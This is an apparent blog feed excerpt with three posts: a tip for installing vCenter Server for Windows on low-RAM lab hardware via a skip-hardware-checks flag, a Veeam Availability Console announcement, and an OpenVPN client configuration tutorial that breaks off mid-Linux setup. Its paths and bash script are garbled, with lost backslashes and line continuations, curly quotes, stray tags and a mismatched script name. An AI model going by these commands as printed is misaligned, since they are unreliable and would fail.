&lt;p&gt;Your lovely 4 x Intel NUC lab burned down. Your only working lab worthy (nah) device is an old i5 8GB workstation running Windows Server 2012 R2. Even though you’d never consider this previously, you now need to run your entire lab off this thing. What’s the first problem you’re going to come across? vSphere Appliance 6.x or vSphere Server for Windows 6.x will refuse to even install with under 10GB of RAM available&lt;/p&gt;
&lt;h2 id=&#34;2-the-solution&#34;&gt;2. The solution:&lt;/h2&gt;
&lt;p&gt;(“hacked”) VMware vSphere Server for Windows! Who would have thought?&lt;/p&gt;
&lt;h3 id=&#34;heres-what-you-need-to-do&#34;&gt;Here’s what you need to do:&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Download the VMware vSphere Server installation media from the official VMware Downloads repository and place it somewhere on the designated Windows Server box (it doesn’t have to be a VM powered by VMware ESXi)&lt;/li&gt;
&lt;li&gt;Open PowerShell CLI as administrator on said Windows Server and navigate to the the directory where VMware-vCenter-Server.exe is located. Here’s an example:&lt;br&gt;
&lt;code&gt;PS C:&amp;gt; cd D:DownloadsvSphere_for_Windows_Server&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Start the installation from PowerShell by running the following command:&lt;br&gt;
&lt;code&gt;PS D:DownloadsvSphere_for_Windows_Server&amp;gt; .VMware-vCenter-Server.exe &amp;quot;SKIP_HARDWARE_CHECKS=1”&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Aaaaand that would be it. After running the above command, the vSphere installation will to start as normal, however it is going to skip the page where it detects the amount of RAM available for the OS. Pretty cool, right?&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/180701-underpowered-vsphere/amazed_swagger.gif&#34; alt=&#34;amazed_swagger&#34;&gt;&lt;/p&gt;
&lt;h2 id=&#34;3-the-conclusion&#34;&gt;3. The conclusion:&lt;/h2&gt;
&lt;p&gt;Please note the installation will be extremely slow if started on a machine with less than 4GB of RAM (~3 hours). You should also expect the whole system to be… tedious in use to say the least. If vSphere Server for Windows has less than 8GB of RAM to work with, you should give it at least an hour after booting up to start all the necessary services (otherwise you might get errors 503, 403 etc. after logging in).&lt;/p&gt;
&lt;p&gt;You can assign more RAM to the VM running vSphere at first (so the installation won’t take half a day) and lower it afterwards to the safe limit of 2GB – from my experience that’s the lowest you can go without breaking anything.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;!-- raw HTML omitted --&gt;Obviously, this way of setting up a vSphere Server is totally un-supported by VMware and shouldn’t be used anywhere outside test or lab environments. &lt;!-- raw HTML omitted --&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Well, that has been a long time since my last post on this blog. I won’t be lying, lots of stuff happened during the last few months and I wasn’t really able to focus as much time as I wanted to this site.&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Veeam Availability Console</title>
      <link>/posts/180601-veeam-availability-console/</link>
      <pubDate>Fri, 01 Jun 2018 00:00:00 +0000</pubDate>
      
      <guid>/posts/180601-veeam-availability-console/</guid>
      <description>Veeam Software today announced the immediate availability of the NEW Veeam Availability Console, a free management console for service providers delivering Veeam-powered services, such as Backup as a Service (BaaS) and Disaster Recovery as a service (DRaaS), to more efficiently manage, track and invoice for these services.
In addition, the Veeam console expands opportunities for resellers and new managed service providers (MSPs) looking to launch a managed backup service business to capture new revenue streams.</description>
      <content>&lt;p&gt;Veeam Software today announced the immediate availability of the NEW Veeam Availability Console, a free management console for service providers delivering Veeam-powered services, such as Backup as a Service (BaaS) and Disaster Recovery as a service (DRaaS), to more efficiently manage, track and invoice for these services.&lt;/p&gt;
&lt;p&gt;In addition, the Veeam console expands opportunities for resellers and new managed service providers (MSPs) looking to launch a managed backup service business to capture new revenue streams.&lt;/p&gt;
&lt;h2 id=&#34;what-is-vac&#34;&gt;What is VAC?&lt;/h2&gt;
&lt;p&gt;Veeam Availability Console can also be used by distributed enterprises operating in an IT service delivery model and wanting to offer efficient, centrally managed backup, data protection and disaster recovery services across a distributed multi-cloud environment including on-premises or private cloud, public cloud, remote and branch offices (ROBO), as well as mobile or home workforces.&lt;/p&gt;
&lt;p&gt;As cloud adoption grows, the ability to deliver, manage, and monitor IT infrastructure can be difficult. Veeam Availability Console simplifies this and allows Veeam service providers to add value by provisioning, managing, and monitoring Veeam virtual, physical, and cloud solutions for their customers. This in turn enables these partners to generate new revenue streams by offering fully-managed BaaS and DRaaS alongside their traditional business lines.&lt;/p&gt;
&lt;h2 id=&#34;key-features-of-vac&#34;&gt;Key features of VAC&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Simplified customer onboarding, with the ability to centrally provision and manage all customers in one place;&lt;/li&gt;
&lt;li&gt;Remote network discovery of customer environments to deploy Veeam’s virtual, physical and cloud-based Availability solutions;&lt;/li&gt;
&lt;li&gt;Support for virtual, physical and cloud-based servers and endpoints;&lt;/li&gt;
&lt;li&gt;Remote management and monitoring of Veeam backups and replicas for customers in an all-in-one dashboard view;&lt;/li&gt;
&lt;li&gt;Tracking, billing and invoicing to ensure complete, real-time visibility of consumed resources, with white-label invoices;&lt;/li&gt;
&lt;li&gt;Self-service management and status monitoring using a multi-tenant portal by partners and end customers;&lt;/li&gt;
&lt;li&gt;RESTful API to easily integrate Veeam Availability Console functionality into existing management portals and workflows, and automating common management tasks&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;pricing-and-availability&#34;&gt;Pricing and Availability&lt;/h2&gt;
&lt;p&gt;Veeam Availability Console license is free, fully supported for Veeam Cloud and Service Provider (VCSP) partners. Service providers interested in using the free solution are invited to join the VCSP program, which is free to join and requires no obligation to purchase paid Veeam solutions.&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>OpenVPN Server Setup - Part 2</title>
      <link>/posts/180501-openvpn-server-part-2/</link>
      <pubDate>Tue, 01 May 2018 00:00:00 +0000</pubDate>
      
      <guid>/posts/180501-openvpn-server-part-2/</guid>
      <description>Here’s the second part of my previous post.
In this tutorial, we’re going to finish up the OpenVPN setup. What’s left to do is creating client configuration file (.ovpn), which is going to contain all the info required by the OpenVPN client for establishing a VPN connection. We’re also going to look into the actual client software setup on Windows, Linux, Android, iOS and OSX.
The final part of the tutorial is probably going to be released sometime later this month – it’s going to cover more advanced OpenVPN features such as password protected client certificates, adding SSL from a Top-Level CA as well as how to configure a side-to-side VPN connection between two networks.</description>
      <content>&lt;p&gt;Here’s the second part of my previous &lt;a href=&#34;https://ssh.guru/vpn-setting-up-openvpn-server-part-1/&#34;&gt;post&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In this tutorial, we’re going to finish up the OpenVPN setup. What’s left to do is creating client configuration file (.ovpn), which is going to contain all the info required by the OpenVPN client for establishing a VPN connection. We’re also going to look into the actual client software setup on Windows, Linux, Android, iOS and OSX.&lt;/p&gt;
&lt;p&gt;The final part of the tutorial is probably going to be released sometime later this month – it’s going to cover more advanced OpenVPN features such as password protected client certificates, adding SSL from a Top-Level CA as well as how to configure a side-to-side VPN connection between two networks.&lt;/p&gt;
&lt;p&gt;Welcome, to OpenVPN Server Setup Part II&lt;/p&gt;
&lt;h2 id=&#34;i-creating-ovpn-configuration-file&#34;&gt;I. Creating OVPN configuration file&lt;/h2&gt;
&lt;h3 id=&#34;1-editing-the-template-ovpn-file&#34;&gt;1. Editing the template .ovpn file&lt;/h3&gt;
&lt;p&gt;Before proceeding, please make sure you followed up the OpenVPN server setup from my previous &lt;a href=&#34;https://ssh.guru/vpn-setting-up-openvpn-server-part-1/&#34;&gt;post&lt;/a&gt;. The commands from this point are going to work only on a very similar or identical machine.&lt;/p&gt;
&lt;p&gt;Having that said, let’s begin. Firstly, create a directory for storing client files on your server:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mkdir -p ~/client-configs/files&amp;lt;/span&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We should also lock our directory by running:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo chmod &lt;span style=&#34;color:#ae81ff&#34;&gt;700&lt;/span&gt; ~/client-configs/files
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Next, copy the template configuration files. We are going to use it as a base for further edits:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cp /usr/share/doc/openvpn/examples/sample-config-files/client.conf ~/client-configs/base.conf
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ok, now the real fun begins. As we discussed earlier, we need a public IP address for the VPN to work. If you’re unsure what is it, you probably don’t have one and you’ll need to contact your ISP to obtain it. Open the template config file we copied for editing.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo nano ~/client-configs/base.conf
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Next, find the remote line and replace &lt;code&gt;server_IP_address&lt;/code&gt; with your public IP. Remember to leave the port number (&lt;code&gt;1194&lt;/code&gt;) as it is.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# The hostname/IP and port of the server.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# You can have multiple remote entries&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# to load balance between the servers.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;remote server_IP_address &lt;span style=&#34;color:#ae81ff&#34;&gt;1194&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Continuing on, uncomment the &lt;code&gt;;user nobody&lt;/code&gt; and &lt;code&gt;;group nogroup&lt;/code&gt; lines (remove &lt;code&gt;;&lt;/code&gt;)&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Downgrade privileges after initialization (non-Windows only)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;user nobody
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;group nogroup
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Find lines &lt;code&gt;ca ca.crt&lt;/code&gt;, &lt;code&gt;cert client.crt&lt;/code&gt;, &lt;code&gt;key client.key&lt;/code&gt; and comment them all (add &lt;code&gt;#&lt;/code&gt; symbol at the front), as we’re going to include them inside the .ovpn file later in this tutorial.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# SSL/TLS parms.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# See the server config file for more&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# description. It’s best to use&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# a separate .crt/.key file pair&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# for each client. A single ca&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# file can be used for all clients.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ca ca.crt
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cert client.crt
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;key client.key
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Next, find the cipher line and mirror the changes we did to server.conf file in the previous post. Remember to include &lt;code&gt;key-direction 1&lt;/code&gt; line.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cipher AES-128-CBC
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;auth SHA256
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;key-direction &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Finally, exit the editor and save the changes by pressing &lt;code&gt;CTRL+X&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&#34;2-configuration-script&#34;&gt;2. Configuration Script&lt;/h3&gt;
&lt;p&gt;We are going to use a script which I wrote some time ago for merging the template ovpn, ca.crt, client.crt and client.key files. First, create new file by running a command:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo nano ~/client-configs/make_config.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Inside, paste the following code. Save and exit by pressing &lt;code&gt;CTRL+X&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;KDIR&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;~/openvpn-ca/keys
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ODIR&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;~/client-configs/files
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;BASE&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;~/client-configs/base.conf
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cat &lt;span style=&#34;color:#e6db74&#34;&gt;${&lt;/span&gt;BASE&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;echo -e ‘&amp;lt;ca&amp;gt;’&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;${&lt;/span&gt;KDIR&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;/ca.crt 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;echo -e ‘&amp;lt;/ca&amp;gt;n&amp;lt;cert&amp;gt;’&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;${&lt;/span&gt;KDIR&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;/&lt;span style=&#34;color:#e6db74&#34;&gt;${&lt;/span&gt;1&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;.crt 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;echo -e ‘&amp;lt;/cert&amp;gt;n&amp;lt;key&amp;gt;’&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;${&lt;/span&gt;KDIR&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;/&lt;span style=&#34;color:#e6db74&#34;&gt;${&lt;/span&gt;1&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;.key
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;echo -e ‘&amp;lt;/key&amp;gt;n&amp;lt;tls-auth&amp;gt;’&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;${&lt;/span&gt;KDIR&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;/ta.key
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;echo -e ‘&amp;lt;/tls-auth&amp;gt;’&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;${&lt;/span&gt;ODIR&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;/&lt;span style=&#34;color:#e6db74&#34;&gt;${&lt;/span&gt;1&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;.ovpn&amp;lt;/span&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To finish up, make the script executable.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo chmod &lt;span style=&#34;color:#ae81ff&#34;&gt;700&lt;/span&gt; ~/client-configs/make_config.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;3-the-ovpn-file&#34;&gt;3. The OVPN file&lt;/h3&gt;
&lt;p&gt;If you followed the guide from the very begging, you shoul have all the files nessesary for the next step in ~/client-configs directory.&lt;/p&gt;
&lt;p&gt;First, make sure you’re located in a correct directory by running:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cd ~/client-configs
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Next, run the script we created earlier and point it to client1 files from the previous post.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;./make-configs.sh client1
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If nothing goes wrong, you should end up with client1.ovpn file in &lt;code&gt;~/client-configs&lt;/code&gt; directory.&lt;/p&gt;
&lt;p&gt;Use your favourite file browser (either local or remote such as FileZilla) to move the client1.ovpn file out of your server and save it for future use by the VPN clients. The OpenVPN server setup is complete!&lt;/p&gt;
&lt;h2 id=&#34;ii-client-setup-on-windows&#34;&gt;II. Client setup on Windows&lt;/h2&gt;
&lt;p&gt;First, download the client setup file from the following link:&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://swupdate.openvpn.org/community/releases/openvpn-install-2.4.4-I601.exe&#34;&gt;OpenVPN Windows Client&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;After the download finishes, double click the installer file (openvpn-install-2.4.4-I601.exe).&lt;/p&gt;
&lt;p&gt;Nothing to do on the first screen, press Next.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i2.wp.com/openvpn.net/images/howto/install/OpenVPN_Client_Install_1.png?resize=320%2C250&#34; alt=&#34;OpenVPN Client Install&#34;&gt;&lt;/p&gt;
&lt;p&gt;Read carefully (lol nope) the license agreement and after selecting the checkbox, click Next.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i1.wp.com/openvpn.net/images/howto/install/OpenVPN_Client_Install_2.png?resize=320%2C250&#34; alt=&#34;OpenVPN Client Install&#34;&gt;&lt;/p&gt;
&lt;p&gt;Select the install location and click Next.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i0.wp.com/openvpn.net/images/howto/install/OpenVPN_Client_Install_3.png?resize=320%2C250&#34; alt=&#34;OpenVPN Client Install&#34;&gt;&lt;/p&gt;
&lt;p&gt;Another useless screen… press Install.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i1.wp.com/openvpn.net/images/howto/install/OpenVPN_Client_Install_4.png?resize=320%2C250&#34; alt=&#34;OpenVPN Client Install&#34;&gt;&lt;/p&gt;
&lt;p&gt;Agree to add a virtual network adapter to your system. It is going to be used during every connection with our VPN (it’s really similar to Linux tunnel interface).&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i0.wp.com/openvpn.net/images/howto/install/OpenVPN_Client_Install_8.png?resize=320%2C141&#34; alt=&#34;OpenVPN Client Install&#34;&gt;&lt;/p&gt;
&lt;p&gt;Press Finish to close the installation.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i2.wp.com/openvpn.net/images/howto/install/OpenVPN_Client_Install_9.png?resize=320%2C250&#34; alt=&#34;OpenVPN Client Install&#34;&gt;&lt;/p&gt;
&lt;p&gt;After getting the client onto our system, we can transfer the client1.ovpn file from the previous point to a secure location such as &lt;code&gt;C:VPNCerts&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Launch the VPN by double clicking the ovpn file. After a while, you should see a green lock icon on the taskbar – installation complete. You’re connected to the VPN.&lt;/p&gt;
&lt;h2 id=&#34;iii-client-setup-on-linux&#34;&gt;III. Client Setup on Linux&lt;/h2&gt;
&lt;p&gt;Connect to your Linux machine and open the terminal emulator by pressing Win+T or opening it up through GUI. You can obviously skip this part if you’re working on a terminal-only Linux.&lt;/p&gt;
&lt;p&gt;Download the OpenVPN client. Some Linux distributions might have it already included by default. You might need the root permissions for running the commands below.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Debian and co.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;apt-get update
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;apt-get install openvpn 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# RedHat and co.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;yum install openvpn
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Arch and co.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pacman -S openvpn &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;Arch based&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Transfer the client1.ovpn file from point I to a secure location such as &lt;code&gt;~/openvpn&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Start the OpenVPN connection by running (again, root access might be required):&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;openvpn –config ~/openvpn/client1.ovpn
